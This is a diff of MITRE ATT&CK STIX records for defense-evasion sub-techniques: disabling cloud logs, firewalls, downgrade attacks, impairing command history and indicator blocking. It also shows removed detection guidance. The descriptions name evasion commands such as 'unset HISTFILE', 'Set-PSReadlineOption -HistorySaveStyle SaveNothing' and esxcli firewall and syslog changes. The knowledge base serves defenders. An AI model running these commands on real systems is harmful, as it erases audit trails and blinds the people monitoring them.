+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-12 13:52:32.846000+00:00",
+ "modified": "2025-10-24 17:49:23.308000+00:00",
+ "name": "Disable or Modify Cloud Logs",
+ "description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/008",
+ "external_id": "T1562.008"
+ },
+ {
+ "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
+ "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.",
+ "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"
+ },
+ {
+ "source_name": "AWS Update Trail",
+ "description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.",
+ "url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html"
+ },
+ {
+ "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
+ "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.",
+ "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"
+ },
+ {
+ "source_name": "Configuring Data Access audit logs",
+ "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.",
+ "url": "https://cloud.google.com/logging/docs/audit/configure-data-access"
+ },
+ {
+ "source_name": "Dark Reading Microsoft 365 Attacks 2021",
+ "description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.",
+ "url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"
+ },
+ {
+ "source_name": "az monitor diagnostic-settings",
+ "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.",
+ "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"
+ },
+ {
+ "source_name": "Pacu Detection Disruption Module",
+ "description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.",
+ "url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py"
+ }
+ ],
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Syed Ummar Farooqh, McAfee",
+ "Prasad Somasamudram, McAfee",
+ "Sekhar Sarukkai, McAfee",
+ "Ibrahim Ali Khan",
+ "Alex Soler, AttackIQ",
+ "Janantha Marasinghe",
+ "Matt Snyder, VMware",
+ "Joe Gumke, U.S. Bank",
+ "Arun Seelagan, CISA"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "SaaS",
+ "Office Suite",
+ "Identity Provider"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Modification\", \"User Account: User Account Modification\", \"Cloud Service: Cloud Service Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.308000+00:00\", \"old_value\": \"2025-04-15 22:19:53.826000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. \"}}}",
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+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management"
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+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Modification)",
+ "DS0025: Cloud Service (Cloud Service Disable)",
+ "DS0025: Cloud Service (Cloud Service Modification)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0289: Detection Strategy for Disable or Modify Cloud Logs"
+ ],
+ "dropped": []
+ }
+ },
+ {
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+ "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 21:00:48.814000+00:00",
+ "modified": "2025-10-24 17:48:47.755000+00:00",
+ "name": "Disable or Modify System Firewall",
+ "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/004",
+ "external_id": "T1562.004"
+ },
+ {
+ "source_name": "Broadcom ESXi Firewall",
+ "description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.",
+ "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html"
+ },
+ {
+ "source_name": "Huntress BlackCat",
+ "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.",
+ "url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps"
+ },
+ {
+ "source_name": "Trellix Rnasomhouse 2024",
+ "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
+ "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
+ },
+ {
+ "source_name": "change_rdp_port_conti",
+ "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
+ "url": "https://x.com/TheDFIRReport/status/1498657772254240768"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firewall: Firewall Rule Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Firewall: Firewall Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.755000+00:00\", \"old_value\": \"2025-04-15 19:58:31.395000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0017: Command (Command Execution)",
+ "DS0018: Firewall (Firewall Disable)",
+ "DS0018: Firewall (Firewall Rule Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0145: Detection of Disabled or Modified System Firewalls across OS Platforms."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-10-08 14:06:28.212000+00:00",
+ "modified": "2025-10-24 17:49:02.550000+00:00",
+ "name": "Downgrade Attack",
+ "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/010",
+ "external_id": "T1562.010"
+ },
+ {
+ "source_name": "SafeBreach",
+ "description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.",
+ "url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/"
+ },
+ {
+ "source_name": "Crowdstrike Downgrade",
+ "description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.",
+ "url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/"
+ },
+ {
+ "source_name": "Targeted SSL Stripping Attacks Are Real",
+ "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.",
+ "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/"
+ },
+ {
+ "source_name": "CrowdStrike BGH Ransomware 2021",
+ "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.",
+ "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/"
+ },
+ {
+ "source_name": "att_def_ps_logging",
+ "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.",
+ "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/"
+ },
+ {
+ "source_name": "inv_ps_attacks",
+ "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.",
+ "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/"
+ },
+ {
+ "source_name": "Mandiant BYOL 2018",
+ "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.",
+ "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
+ },
+ {
+ "source_name": "welivesecurity",
+ "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
+ "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
+ },
+ {
+ "source_name": "Microsoft Security",
+ "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
+ },
+ {
+ "source_name": "Praetorian TLS Downgrade Attack 2014",
+ "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
+ "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Mayuresh Dani, Qualys",
+ "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
+ "Arad Inbar, Fidelis Security"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.550000+00:00\", \"old_value\": \"2025-04-15 19:58:46.929000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \\u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\\n\\nMonitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\\n\\nMonitor network data to detect cases where HTTP is used instead of HTTPS.\\n\\nMonitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\\n\\nMonitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\\n\\nMonitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \\u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\\n-\\n-Monitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\\n-\\n-Monitor network data to detect cases where HTTP is used instead of HTTPS.\\n-\\n-Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\\n-\\n-Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\\n-\\n-Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1042: Disable or Remove Feature or Program",
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0350: Detecting Downgrade Attacks"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 20:56:06.498000+00:00",
+ "modified": "2025-10-24 17:49:05.941000+00:00",
+ "name": "Impair Command History Logging",
+ "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/003",
+ "external_id": "T1562.003"
+ },
+ {
+ "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
+ "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
+ },
+ {
+ "source_name": "Sophos PowerShell command audit",
+ "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
+ "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
+ },
+ {
+ "source_name": "Microsoft PowerShell Command History",
+ "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
+ },
+ {
+ "source_name": "Sophos PowerShell Command History Forensics",
+ "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
+ "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Vikas Singh, Sophos",
+ "Emile Kenning, Sophos",
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "2.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.941000+00:00\", \"old_value\": \"2025-04-15 19:58:50.696000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\\n\\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\\n-\\n-Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.\"}}}",
+ "previous_version": "2.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration",
+ "M1039: Environment Variable Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0013: Sensor Health (Host Status)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0563: Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-19 19:09:30.329000+00:00",
+ "modified": "2025-10-24 17:48:57.704000+00:00",
+ "name": "Indicator Blocking",
+ "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/006",
+ "external_id": "T1562.006"
+ },
+ {
+ "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
+ "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
+ },
+ {
+ "source_name": "Broadcom Configuring syslog on ESXi",
+ "description": "Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.",
+ "url": "https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html"
+ },
+ {
+ "source_name": "disable_win_evt_logging",
+ "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
+ "url": "https://ptylu.github.io/content/report/report.html?report=25"
+ },
+ {
+ "source_name": "LemonDuck",
+ "description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.",
+ "url": "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/"
+ },
+ {
+ "source_name": "Microsoft Lamin Sept 2017",
+ "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
+ "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
+ },
+ {
+ "source_name": "Microsoft About Event Tracing 2018",
+ "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
+ "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
+ },
+ {
+ "source_name": "Medium Event Tracing Tampering 2018",
+ "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
+ "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Rob Smith",
+ "Lucas Heiligenstein"
